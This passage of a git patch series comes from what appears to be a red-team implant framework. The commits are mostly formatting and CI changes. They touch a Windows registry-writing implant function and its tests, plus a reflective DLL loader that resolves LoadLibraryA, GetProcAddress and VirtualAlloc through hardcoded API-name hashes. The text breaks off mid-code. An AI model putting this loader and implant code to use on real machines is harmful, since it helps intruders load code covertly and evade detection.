"REG_QWORD".to_string(), - 12345678, - ); - hkcu = RegKey::predef(HKEY_CURRENT_USER); - subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; - val2 = subky.get_raw_value("FOO2")?; - assert_eq!(val2.bytes, 12345678u32.to_le_bytes().to_vec()); - - //delete temp regkey - hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; - } - - Ok(()) - } -} +use anyhow::Result; + +#[allow(unused_variables)] +pub fn write_reg_int( + reghive: String, + regpath: String, + regname: String, + regtype: String, + regvalue: u32, +) -> Result { + #[cfg(not(target_os = "windows"))] + return Err(anyhow::anyhow!( + "This OS isn't supported by the write_reg function. Only windows systems are supported" + )); + + #[cfg(target_os = "windows")] + { + use winreg::{enums::*, RegKey, RegValue}; + + //Accepted values for reghive : + //HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, HKEY_USERS, HKEY_PERFORMANCE_DATA, HKEY_PERFORMANCE_TEXT, HKEY_PERFORMANCE_NLSTEXT, HKEY_CURRENT_CONFIG, HKEY_DYN_DATA, HKEY_CURRENT_USER_LOCAL_SETTINGS + let ihive: isize = match reghive.as_ref() { + "HKEY_CLASSES_ROOT" => HKEY_CLASSES_ROOT, + "HKEY_CURRENT_USER" => HKEY_CURRENT_USER, + "HKEY_LOCAL_MACHINE" => HKEY_LOCAL_MACHINE, + "HKEY_USERS" => HKEY_USERS, + "HKEY_PERFORMANCE_DATA" => HKEY_PERFORMANCE_DATA, + "HKEY_PERFORMANCE_TEXT" => HKEY_PERFORMANCE_TEXT, + "HKEY_PERFORMANCE_NLSTEXT" => HKEY_PERFORMANCE_NLSTEXT, + "HKEY_CURRENT_CONFIG" => HKEY_CURRENT_CONFIG, + "HKEY_DYN_DATA" => HKEY_DYN_DATA, + "HKEY_CURRENT_USER_LOCAL_SETTINGS" => HKEY_CURRENT_USER_LOCAL_SETTINGS, + _ => return Err(anyhow::anyhow!("RegHive can only be one of the following values - HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, HKEY_USERS, HKEY_PERFORMANCE_DATA, HKEY_PERFORMANCE_TEXT, HKEY_PERFORMANCE_NLSTEXT, HKEY_CURRENT_CONFIG, HKEY_DYN_DATA, HKEY_CURRENT_USER_LOCAL_SETTINGS ")), + + }; + + let hive = RegKey::predef(ihive); + let (nkey, _ndisp) = hive.create_subkey(regpath)?; + + match regtype.as_ref() { + "REG_NONE" => { + nkey.set_value(regname, ®value)?; + }, + "REG_SZ" => nkey.set_value(regname, ®value)?, + "REG_EXPAND_SZ" => nkey.set_value(regname, ®value)?, + "REG_BINARY" => { + let data = RegValue{ vtype: REG_BINARY, bytes: regvalue.to_le_bytes().to_vec()}; + nkey.set_raw_value(regname, &data)?; + }, + "REG_DWORD" => { + let data = RegValue{ vtype: REG_DWORD, bytes: regvalue.to_le_bytes().to_vec()}; + nkey.set_raw_value(regname, &data)?; + }, + "REG_DWORD_BIG_ENDIAN" => { + let data = RegValue{ vtype: REG_DWORD_BIG_ENDIAN, bytes: regvalue.to_be_bytes().to_vec()}; + nkey.set_raw_value(regname, &data)?; + }, + "REG_LINK" => { + nkey.set_value(regname, ®value)?; + }, + "REG_MULTI_SZ" => { + nkey.set_value(regname, ®value)?; + }, + "REG_RESOURCE_LIST" => { + let data = RegValue{ vtype: REG_RESOURCE_LIST, bytes: regvalue.to_le_bytes().to_vec()}; + nkey.set_raw_value(regname, &data)?; + }, + "REG_FULL_RESOURCE_DESCRIPTOR" => { + let data = RegValue{ vtype: REG_FULL_RESOURCE_DESCRIPTOR, bytes: regvalue.to_le_bytes().to_vec()}; + nkey.set_raw_value(regname, &data)?; + }, + "REG_RESOURCE_REQUIREMENTS_LIST" => { + let data = RegValue{ vtype: REG_RESOURCE_REQUIREMENTS_LIST, bytes: regvalue.to_le_bytes().to_vec()}; + nkey.set_raw_value(regname, &data)?; + }, + "REG_QWORD" => { + let data = RegValue{ vtype: REG_QWORD, bytes: regvalue.to_le_bytes().to_vec()}; + nkey.set_raw_value(regname, &data)?; + }, + _ => return Err(anyhow::anyhow!("RegType can only be one of the following values - REG_NONE, REG_SZ, REG_EXPAND_SZ, REG_BINARY, REG_DWORD, REG_DWORD_BIG_ENDIAN, REG_LINK, REG_MULTI_SZ, REG_RESOURCE_LIST, REG_RESOURCE_LIST, REG_FULL_RESOURCE_DESCRIPTOR, REG_QWORD. ")), + }; + + Ok(true) + } +} + +#[cfg(test)] +mod tests { + + #[test] + fn test_write_reg_int() -> anyhow::Result<()> { + #[cfg(target_os = "windows")] + { + use super::*; + use uuid::Uuid; + use winreg::{enums::*, RegKey}; + + let id = Uuid::new_v4(); + + // -------------------- WRITE_REG_INT TESTS --------------------------------------- + //Write and then read REG_SZ into temp regkey... + let mut _ares = write_reg_int( + "HKEY_CURRENT_USER".to_string(), + format!("SOFTWARE\\{}", id), + "FOO2".to_string(), + "REG_SZ".to_string(), + 12345678, + ); + let mut hkcu = RegKey::predef(HKEY_CURRENT_USER); + let mut subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; + let mut val2 = subky.get_raw_value("FOO2")?; + assert_eq!(val2.bytes, 12345678u32.to_le_bytes().to_vec()); + + //delete temp regkey + hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; + + //Write and then read REG_NONE into temp regkey... + _ares = write_reg_int( + "HKEY_CURRENT_USER".to_string(), + format!("SOFTWARE\\{}", id), + "FOO2".to_string(), + "REG_NONE".to_string(), + 12345678, + ); + hkcu = RegKey::predef(HKEY_CURRENT_USER); + subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; + val2 = subky.get_raw_value("FOO2")?; + assert_eq!(val2.bytes, 12345678u32.to_le_bytes().to_vec()); + + //delete temp regkey + hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; + + //Write and then read REG_EXPAND_SZ into temp regkey... + _ares = write_reg_int( + "HKEY_CURRENT_USER".to_string(), + format!("SOFTWARE\\{}", id), + "FOO2".to_string(), + "REG_EXPAND_SZ".to_string(), + 12345678, + ); + hkcu = RegKey::predef(HKEY_CURRENT_USER); + subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; + val2 = subky.get_raw_value("FOO2")?; + assert_eq!(val2.bytes, 12345678u32.to_le_bytes().to_vec()); + + //delete temp regkey + hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; + + //Write and then read REG_BINARY into temp regkey... + _ares = write_reg_int( + "HKEY_CURRENT_USER".to_string(), + format!("SOFTWARE\\{}", id), + "FOO2".to_string(), + "REG_BINARY".to_string(), + 12345678, + ); + hkcu = RegKey::predef(HKEY_CURRENT_USER); + subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; + val2 = subky.get_raw_value("FOO2")?; + assert_eq!(val2.bytes, 12345678u32.to_le_bytes().to_vec()); + + //delete temp regkey + hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; + + //Write and then read REG_DWORD into temp regkey... + _ares = write_reg_int( + "HKEY_CURRENT_USER".to_string(), + format!("SOFTWARE\\{}", id), + "FOO2".to_string(), + "REG_DWORD".to_string(), + 12345678, + ); + hkcu = RegKey::predef(HKEY_CURRENT_USER); + subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; + val2 = subky.get_raw_value("FOO2")?; + assert_eq!(val2.bytes, 12345678u32.to_le_bytes().to_vec()); + + //delete temp regkey + hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; + + //Write and then read REG_DWORD_BIG_ENDIAN into temp regkey... + _ares = write_reg_int( + "HKEY_CURRENT_USER".to_string(), + format!("SOFTWARE\\{}", id), + "FOO2".to_string(), + "REG_DWORD_BIG_ENDIAN".to_string(), + 12345678, + ); + hkcu = RegKey::predef(HKEY_CURRENT_USER); + subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; + val2 = subky.get_raw_value("FOO2")?; + assert_eq!(val2.bytes, 12345678u32.to_be_bytes().to_vec()); + + //delete temp regkey + hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; + + //Write and then read REG_LINK into temp regkey... + _ares = write_reg_int( + "HKEY_CURRENT_USER".to_string(), + format!("SOFTWARE\\{}", id), + "FOO2".to_string(), + "REG_LINK".to_string(), + 12345678, + ); + hkcu = RegKey::predef(HKEY_CURRENT_USER); + subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; + val2 = subky.get_raw_value("FOO2")?; + assert_eq!(val2.bytes, 12345678u32.to_le_bytes().to_vec()); + + //delete temp regkey + hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; + + //Write and then read REG_MULTI_SZ into temp regkey... + _ares = write_reg_int( + "HKEY_CURRENT_USER".to_string(), + format!("SOFTWARE\\{}", id), + "FOO2".to_string(), + "REG_MULTI_SZ".to_string(), + 12345678, + ); + hkcu = RegKey::predef(HKEY_CURRENT_USER); + subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; + val2 = subky.get_raw_value("FOO2")?; + assert_eq!(val2.bytes, 12345678u32.to_le_bytes().to_vec()); + + //delete temp regkey + hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; + + //Write and then read REG_RESOURCE_LIST into temp regkey... + _ares = write_reg_int( + "HKEY_CURRENT_USER".to_string(), + format!("SOFTWARE\\{}", id), + "FOO2".to_string(), + "REG_RESOURCE_LIST".to_string(), + 12345678, + ); + hkcu = RegKey::predef(HKEY_CURRENT_USER); + subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; + val2 = subky.get_raw_value("FOO2")?; + assert_eq!(val2.bytes, 12345678u32.to_le_bytes().to_vec()); + + //delete temp regkey + hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; + + //Write and then read REG_FULL_RESOURCE_DESCRIPTOR into temp regkey... + _ares = write_reg_int( + "HKEY_CURRENT_USER".to_string(), + format!("SOFTWARE\\{}", id), + "FOO2".to_string(), + "REG_FULL_RESOURCE_DESCRIPTOR".to_string(), + 12345678, + ); + hkcu = RegKey::predef(HKEY_CURRENT_USER); + subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; + val2 = subky.get_raw_value("FOO2")?; + assert_eq!(val2.bytes, 12345678u32.to_le_bytes().to_vec()); + + //delete temp regkey + hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; + + //Write and then read REG_RESOURCE_REQUIREMENTS_LIST into temp regkey... + _ares = write_reg_int( + "HKEY_CURRENT_USER".to_string(), + format!("SOFTWARE\\{}", id), + "FOO2".to_string(), + "REG_RESOURCE_REQUIREMENTS_LIST".to_string(), + 12345678, + ); + hkcu = RegKey::predef(HKEY_CURRENT_USER); + subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; + val2 = subky.get_raw_value("FOO2")?; + assert_eq!(val2.bytes, 12345678u32.to_le_bytes().to_vec()); + + //delete temp regkey + hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; + + //Write and then read REG_QWORD into temp regkey... + _ares = write_reg_int( + "HKEY_CURRENT_USER".to_string(), + format!("SOFTWARE\\{}", id), + "FOO2".to_string(), + "REG_QWORD".to_string(), + 12345678, + ); + hkcu = RegKey::predef(HKEY_CURRENT_USER); + subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; + val2 = subky.get_raw_value("FOO2")?; + assert_eq!(val2.bytes, 12345678u32.to_le_bytes().to_vec()); + + //delete temp regkey + hkcu.delete_subkey(format!("SOFTWARE\\{}", id))?; + } + + Ok(()) + } +} diff --git a/implants/lib/eldritch/src/sys/write_reg_str_impl.rs b/implants/lib/eldritch/src/sys/write_reg_str_impl.rs index 527237e7e..0d3983cca 100644 --- a/implants/lib/eldritch/src/sys/write_reg_str_impl.rs +++ b/implants/lib/eldritch/src/sys/write_reg_str_impl.rs @@ -111,8 +111,7 @@ mod tests { "BAR2".to_string(), ); let mut hkcu = RegKey::predef(HKEY_CURRENT_USER); - let mut subky = - hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; + let mut subky = hkcu.open_subkey(format!("SOFTWARE\\{}", id))?; let mut val2 = subky.get_raw_value("FOO2")?; assert_eq!(val2.to_string(), "BAR2"); diff --git a/implants/lib/eldritch/src/time/now_impl.rs b/implants/lib/eldritch/src/time/now_impl.rs index b34a4a429..dd747e4db 100644 --- a/implants/lib/eldritch/src/time/now_impl.rs +++ b/implants/lib/eldritch/src/time/now_impl.rs @@ -1,5 +1,5 @@ -use std::time::{SystemTime, UNIX_EPOCH}; use anyhow::Result; +use std::time::{SystemTime, UNIX_EPOCH}; pub fn now() -> Result { Ok(SystemTime::now().duration_since(UNIX_EPOCH)?.as_secs()) diff --git a/implants/rustfmt.toml b/implants/rustfmt.toml index 7a28cd98b..03df9e762 100644 --- a/implants/rustfmt.toml +++ b/implants/rustfmt.toml @@ -66,7 +66,7 @@ use_field_init_shorthand = false force_explicit_abi = true condense_wildcard_suffixes = false color = "Auto" -required_version = "1.6.0" +required_version = "1.7.0" unstable_features = false disable_all_formatting = false skip_children = false From e6843cc90972faf6692b1d514beb26ae0a3a1ac5 Mon Sep 17 00:00:00 2001 From: Hulto <7121375+hulto@users.noreply.github.com> Date: Mon, 6 May 2024 01:18:14 +0000 Subject: [PATCH 07/29] Force correct formatting --- .github/workflows/tests.yml | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index f2df4c16e..88539bcaf 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -53,13 +53,6 @@ jobs: toolchain: '1.76.0' default: true profile: minimal - - name: Setup Rust (Loader) - uses: actions-rs/toolchain@v1 - if: matrix.os == 'windows-latest' - with: - toolchain: 'nightly-2024-02-11' - default: false - profile: minimal - name: rust-cache uses: Swatinem/rust-cache@v2 with: @@ -69,6 +62,6 @@ jobs: with: tool: nextest,cargo-llvm-cov - name: 🔎 Run tests - run: cd ./implants/ && cargo llvm-cov nextest --lcov --output-path lcov.info + run: cd ./implants/ && cargo fmt --check && cargo llvm-cov nextest --lcov --output-path lcov.info - name: 📶 Upload Coverage Results uses: codecov/codecov-action@v3 From b58abbdbec3b4e4a473e8b5fafea7055bd6599f6 Mon Sep 17 00:00:00 2001 From: Hulto <7121375+hulto@users.noreply.github.com> Date: Mon, 6 May 2024 01:22:42 +0000 Subject: [PATCH 08/29] Add fmt and clippy --- .github/workflows/tests.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 88539bcaf..7b5a0c611 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -53,6 +53,7 @@ jobs: toolchain: '1.76.0' default: true profile: minimal + components: rustfmt, clippy - name: rust-cache uses: Swatinem/rust-cache@v2 with: From 8530e281cf596aa6d9aae30d1a9a80abd4aa84fe Mon Sep 17 00:00:00 2001 From: Hulto <7121375+hulto@users.noreply.github.com> Date: Mon, 6 May 2024 01:24:20 +0000 Subject: [PATCH 09/29] Switching to nightly default build. --- .github/workflows/tests.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 7b5a0c611..5a1d04f1b 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -50,7 +50,7 @@ jobs: - name: Setup Rust uses: actions-rs/toolchain@v1 with: - toolchain: '1.76.0' + toolchain: 'nightly-2024-02-11' default: true profile: minimal components: rustfmt, clippy From d45da0ffb1c1a7b5615363cde2102e3758357932 Mon Sep 17 00:00:00 2001 From: Hulto <7121375+hulto@users.noreply.github.com> Date: Mon, 6 May 2024 01:25:59 +0000 Subject: [PATCH 10/29] Set fmt to nightly --- .github/workflows/tests.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 5a1d04f1b..5932d8295 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -63,6 +63,6 @@ jobs: with: tool: nextest,cargo-llvm-cov - name: 🔎 Run tests - run: cd ./implants/ && cargo fmt --check && cargo llvm-cov nextest --lcov --output-path lcov.info + run: cd ./implants/ && cargo fmt +nightly-2024-02-11 --check && cargo llvm-cov nextest --lcov --output-path lcov.info - name: 📶 Upload Coverage Results uses: codecov/codecov-action@v3 From 2708e9eea66eea58ee2aaedf6d531c4f3eb7b418 Mon Sep 17 00:00:00 2001 From: Hulto <7121375+hulto@users.noreply.github.com> Date: Mon, 6 May 2024 01:27:01 +0000 Subject: [PATCH 11/29] Ope. --- .github/workflows/tests.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 5932d8295..97b3cb323 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -63,6 +63,6 @@ jobs: with: tool: nextest,cargo-llvm-cov - name: 🔎 Run tests - run: cd ./implants/ && cargo fmt +nightly-2024-02-11 --check && cargo llvm-cov nextest --lcov --output-path lcov.info + run: cd ./implants/ && cargo +nightly-2024-02-11 fmt --check && cargo llvm-cov nextest --lcov --output-path lcov.info - name: 📶 Upload Coverage Results uses: codecov/codecov-action@v3 From 72b6dd369ba96c90b5c4e74092b5313a80f57490 Mon Sep 17 00:00:00 2001 From: Hulto <7121375+hulto@users.noreply.github.com> Date: Mon, 6 May 2024 01:28:00 +0000 Subject: [PATCH 12/29] Fix formatting. --- implants/golem/src/inter.rs | 2 -- 1 file changed, 2 deletions(-) diff --git a/implants/golem/src/inter.rs b/implants/golem/src/inter.rs index 43ef64905..c213a54f2 100644 --- a/implants/golem/src/inter.rs +++ b/implants/golem/src/inter.rs @@ -26,8 +26,6 @@ use std::fmt; use std::fmt::Display; - - use starlark::errors::EvalMessage; use starlark::errors::EvalSeverity; use starlark::read_line::ReadLine; From eb41fc75d7dde9dd63758920489cd4857e8e14d3 Mon Sep 17 00:00:00 2001 From: Hulto <7121375+hulto@users.noreply.github.com> Date: Mon, 6 May 2024 01:38:37 +0000 Subject: [PATCH 13/29] Tests pass? --- .github/workflows/tests.yml | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 97b3cb323..4b3eb3171 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -53,7 +53,13 @@ jobs: toolchain: 'nightly-2024-02-11' default: true profile: minimal - components: rustfmt, clippy + components: rustfmt, clippy, rust-src + - if: matrix.os == 'windows-latest' + shell: powershell + name: Build reflective loader + run: | + cd ./bin/reflective_loader/ + cargo build --release -Z build-std=core,compiler_builtins -Z build-std-features=compiler-builtins-mem - name: rust-cache uses: Swatinem/rust-cache@v2 with: From a5a5924e58b16a3d957fd115804b0d73a1f05037 Mon Sep 17 00:00:00 2001 From: Hulto <7121375+hulto@users.noreply.github.com> Date: Mon, 6 May 2024 01:41:04 +0000 Subject: [PATCH 14/29] Formatting. --- bin/reflective_loader/src/lib.rs | 15 +- bin/reflective_loader/src/loader.rs | 621 +++++++++++++++++++--------- 2 files changed, 432 insertions(+), 204 deletions(-) diff --git a/bin/reflective_loader/src/lib.rs b/bin/reflective_loader/src/lib.rs index 630b70d2a..f511f2826 100644 --- a/bin/reflective_loader/src/lib.rs +++ b/bin/reflective_loader/src/lib.rs @@ -4,7 +4,7 @@ use core::ffi::c_void; use windows_sys::Win32::Foundation::HINSTANCE; -mod loader; +mod loader; type DWORD = i32; type LPVOID = *mut c_void; @@ -17,18 +17,19 @@ pub static _fltused: i32 = 0; #[cfg(not(test))] #[panic_handler] -fn panic(_info: &core::panic::PanicInfo) -> ! { loop {} } +fn panic(_info: &core::panic::PanicInfo) -> ! { + loop {} +} #[no_mangle] #[allow(non_snake_case, unused_variables)] pub unsafe extern "system" fn _DllMainCRTStartup( dll_module: HINSTANCE, call_reason: DWORD, - reserved: LPVOID) - -> BOOL -{ + reserved: LPVOID, +) -> BOOL { match call_reason { - _ => () + _ => (), } TRUE -} \ No newline at end of file +} diff --git a/bin/reflective_loader/src/loader.rs b/bin/reflective_loader/src/loader.rs index 9a6b56388..90c387674 100644 --- a/bin/reflective_loader/src/loader.rs +++ b/bin/reflective_loader/src/loader.rs @@ -1,32 +1,60 @@ -use ntapi::{ntpsapi::PEB_LDR_DATA, ntldr::LDR_DATA_TABLE_ENTRY, ntpebteb::PEB}; -use windows_sys::{Win32::{System::{Memory::{VIRTUAL_ALLOCATION_TYPE, PAGE_PROTECTION_FLAGS}, Diagnostics::Debug::{IMAGE_DIRECTORY_ENTRY_BASERELOC, IMAGE_DATA_DIRECTORY, IMAGE_DIRECTORY_ENTRY_IMPORT, IMAGE_DIRECTORY_ENTRY_EXPORT}, SystemServices::{IMAGE_BASE_RELOCATION, IMAGE_IMPORT_DESCRIPTOR, IMAGE_ORDINAL_FLAG64, IMAGE_IMPORT_BY_NAME, IMAGE_REL_BASED_DIR64, IMAGE_REL_BASED_HIGHLOW, DLL_PROCESS_ATTACH, IMAGE_EXPORT_DIRECTORY}, WindowsProgramming::IMAGE_THUNK_DATA64}, Foundation::{HINSTANCE, BOOL, FARPROC}}, core::PCSTR}; -use windows_sys::Win32::System::{Diagnostics::Debug::{IMAGE_NT_HEADERS64,IMAGE_SECTION_HEADER},SystemServices::IMAGE_DOS_HEADER,Memory::{MEM_RESERVE,MEM_COMMIT,PAGE_EXECUTE_READWRITE}}; -use core::{ffi::CStr, arch::asm, slice::from_raw_parts, mem::transmute, ptr::{null_mut, copy_nonoverlapping}, fmt::Error}; -use core::ptr; use core::ffi::c_void; +use core::ptr; +use core::{ + arch::asm, + ffi::CStr, + mem::transmute, + ptr::{copy_nonoverlapping, null_mut}, + slice::from_raw_parts, +}; +use ntapi::{ntldr::LDR_DATA_TABLE_ENTRY, ntpebteb::PEB, ntpsapi::PEB_LDR_DATA}; +use windows_sys::Win32::System::{ + Diagnostics::Debug::{IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER}, + Memory::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE}, + SystemServices::IMAGE_DOS_HEADER, +}; +use windows_sys::{ + core::PCSTR, + Win32::{ + Foundation::{BOOL, FARPROC, HINSTANCE}, + System::{ + Diagnostics::Debug::{ + IMAGE_DATA_DIRECTORY, IMAGE_DIRECTORY_ENTRY_BASERELOC, + IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_DIRECTORY_ENTRY_IMPORT, + }, + Memory::{PAGE_PROTECTION_FLAGS, VIRTUAL_ALLOCATION_TYPE}, + SystemServices::{ + DLL_PROCESS_ATTACH, IMAGE_BASE_RELOCATION, IMAGE_EXPORT_DIRECTORY, + IMAGE_IMPORT_BY_NAME, IMAGE_IMPORT_DESCRIPTOR, IMAGE_ORDINAL_FLAG64, + IMAGE_REL_BASED_DIR64, IMAGE_REL_BASED_HIGHLOW, + }, + WindowsProgramming::IMAGE_THUNK_DATA64, + }, + }, +}; - // This is an assumption that may be wrong. Due to no_std it's ideal to keep things - // on the stack which has a default size of 1024KB. If more sections are needed - // we can rework this hopefully by then a no_std zero-copy pe parser will exist - // and our home grown PE parser can be removed. +// This is an assumption that may be wrong. Due to no_std it's ideal to keep things +// on the stack which has a default size of 1024KB. If more sections are needed +// we can rework this hopefully by then a no_std zero-copy pe parser will exist +// and our home grown PE parser can be removed. const MAX_PE_SECTIONS: usize = 32; const PE_MAGIC: u16 = 0x5A4D; // MZ const NT_SIGNATURE: u32 = 0x4550; // PE - const KERNEL32_HASH: u32 = 0x6ddb9555; const NTDLL_HASH: u32 = 0x1edab0ed; const LOAD_LIBRARY_A_HASH: u32 = 0xb7072fdb; const GET_PROC_ADDRESS_HASH: u32 = 0xdecfc1bf; const VIRTUAL_ALLOC_HASH: u32 = 0x97bc257; -const GET_LAST_ERROR_HASH: u32 = 0x8160BDC3; +const GET_LAST_ERROR_HASH: u32 = 0x8160BDC3; -#[derive(Copy,Clone)] +#[derive(Copy, Clone)] struct UserData { function_offset: u64, -} +} -type FnDllMain = unsafe extern "system" fn(module: HINSTANCE, call_reason: u32, reserved: *mut c_void) -> BOOL; +type FnDllMain = + unsafe extern "system" fn(module: HINSTANCE, call_reason: u32, reserved: *mut c_void) -> BOOL; #[allow(non_camel_case_types)] type generic_fn = unsafe extern "system" fn() -> (); @@ -35,13 +63,26 @@ type FnLoadLibraryA = unsafe extern "system" fn(lplibfilename: PCSTR) -> HINSTAN type FnGetProcAddress = unsafe extern "system" fn(hmodule: HINSTANCE, lpprocname: PCSTR) -> FARPROC; -type FnVirtualAlloc = unsafe extern "system" fn(lpaddress: *const c_void, dwsize: usize, flallocationtype: VIRTUAL_ALLOCATION_TYPE, flprotect: PAGE_PROTECTION_FLAGS) -> *mut c_void; +type FnVirtualAlloc = unsafe extern "system" fn( + lpaddress: *const c_void, + dwsize: usize, + flallocationtype: VIRTUAL_ALLOCATION_TYPE, + flprotect: PAGE_PROTECTION_FLAGS, +) -> *mut c_void; type FnGetLastError = unsafe extern "system" fn() -> u32; // pub unsafe fn VirtualAlloc(hprocess: super::super::Foundation::HANDLE, lpaddress: *const ::core::ffi::c_void, dwsize: usize, flallocationtype: VIRTUAL_ALLOCATION_TYPE, flprotect: PAGE_PROTECTION_FLAGS) -> *mut ::core::ffi::c_void -fn virtual_alloc(fn_ptr: FnVirtualAlloc, err_ptr: FnGetLastError, lp_address: *const c_void, dw_size: usize, fl_allocation_type: u32, fl_protect: u32) -> Result<*mut c_void, &'static str> { - let buffer_handle: *mut c_void = unsafe{ fn_ptr(lp_address, dw_size, fl_allocation_type, fl_protect) }; +fn virtual_alloc( + fn_ptr: FnVirtualAlloc, + err_ptr: FnGetLastError, + lp_address: *const c_void, + dw_size: usize, + fl_allocation_type: u32, + fl_protect: u32, +) -> Result<*mut c_void, &'static str> { + let buffer_handle: *mut c_void = + unsafe { fn_ptr(lp_address, dw_size, fl_allocation_type, fl_protect) }; if buffer_handle == null_mut() { let error_code = unsafe { err_ptr() }; if error_code != 0 { @@ -52,25 +93,39 @@ fn virtual_alloc(fn_ptr: FnVirtualAlloc, err_ptr: FnGetLastError, lp_address: *c } // pub unsafe fn GetProcAddress(hmodule: P0, lpprocname: P1) -> FARPROC -fn get_proc_address(fn_ptr: FnGetProcAddress, err_ptr: FnGetLastError, h_module: isize, lp_proc_name: *const u8) -> isize { +fn get_proc_address( + fn_ptr: FnGetProcAddress, + err_ptr: FnGetLastError, + h_module: isize, + lp_proc_name: *const u8, +) -> isize { let proc_handle = match unsafe { fn_ptr(h_module, lp_proc_name) } { Some(local_proc_handle) => local_proc_handle, None => { let error_code = unsafe { err_ptr() }; - panic!("Failed to find function {:?} in module. Last error returned: {}", lp_proc_name, error_code); + panic!( + "Failed to find function {:?} in module. Last error returned: {}", + lp_proc_name, error_code + ); } }; proc_handle as isize } - // pub unsafe fn LoadLibraryA(lplibfilename: P0) -> Result -fn load_library_a(fn_ptr: FnLoadLibraryA, err_ptr: FnGetLastError, lplibfilename: PCSTR) -> HINSTANCE { +fn load_library_a( + fn_ptr: FnLoadLibraryA, + err_ptr: FnGetLastError, + lplibfilename: PCSTR, +) -> HINSTANCE { let library_handle = unsafe { fn_ptr(lplibfilename) }; if library_handle == 0 { let error_code = unsafe { err_ptr() }; if error_code != 0 { - panic!("Failed to load library. Last error returned: {}", error_code); + panic!( + "Failed to load library. Last error returned: {}", + error_code + ); } } library_handle @@ -86,14 +141,11 @@ impl BaseRelocationEntry { fn new(c_bytes: u16) -> Self { let reloc_type_bit_mask: u16 = 0b1111_0000_0000_0000; let reloc_type = (c_bytes & reloc_type_bit_mask) >> 12; - + let offset_bit_mask: u16 = 0b0000_1111_1111_1111; let offset = c_bytes & offset_bit_mask; - - Self { - offset, - reloc_type, - } + + Self { offset, reloc_type } } fn c_size() -> usize { @@ -111,7 +163,7 @@ struct PeFileHeaders64 { // Pares the PE file from a series of bytes #[cfg(target_arch = "x86_64")] impl PeFileHeaders64 { - fn new(dll_bytes_ptr: *mut c_void) -> Self{ + fn new(dll_bytes_ptr: *mut c_void) -> Self { // DOS Headers let dos_headers_base_ptr = dll_bytes_ptr as usize; let dos_headers = unsafe { *((dos_headers_base_ptr) as *mut IMAGE_DOS_HEADER) }; @@ -128,19 +180,24 @@ impl PeFileHeaders64 { // Section Headers - hopefully there isn't more than MAX_PE_SECTIONS sections. let null_section: IMAGE_SECTION_HEADER = unsafe { core::mem::zeroed() }; - let mut section_headers: [IMAGE_SECTION_HEADER; MAX_PE_SECTIONS] = [null_section; MAX_PE_SECTIONS]; + let mut section_headers: [IMAGE_SECTION_HEADER; MAX_PE_SECTIONS] = + [null_section; MAX_PE_SECTIONS]; // let mut section_headers: [IMAGE_SECTION_HEADER; MAX_PE_SECTIONS] = unsafe{ core::mem::zeroed() }; - let optional_headers_start_ptr = unsafe{&(*(nt_headers_base_ptr as *mut IMAGE_NT_HEADERS64)).OptionalHeader as *const _ as usize}; - let section_headers_start_ptr = optional_headers_start_ptr + nt_headers.FileHeader.SizeOfOptionalHeader as usize; + let optional_headers_start_ptr = unsafe { + &(*(nt_headers_base_ptr as *mut IMAGE_NT_HEADERS64)).OptionalHeader as *const _ as usize + }; + let section_headers_start_ptr = + optional_headers_start_ptr + nt_headers.FileHeader.SizeOfOptionalHeader as usize; let mut cur_section_ptr = section_headers_start_ptr as *mut IMAGE_SECTION_HEADER; for section_index in 0..nt_headers.FileHeader.NumberOfSections { let cur_section = unsafe { *cur_section_ptr.clone() }; section_headers[section_index as usize] = cur_section; - cur_section_ptr = - (cur_section_ptr as usize + core::mem::size_of::() as usize) as *mut IMAGE_SECTION_HEADER - } + cur_section_ptr = (cur_section_ptr as usize + + core::mem::size_of::() as usize) + as *mut 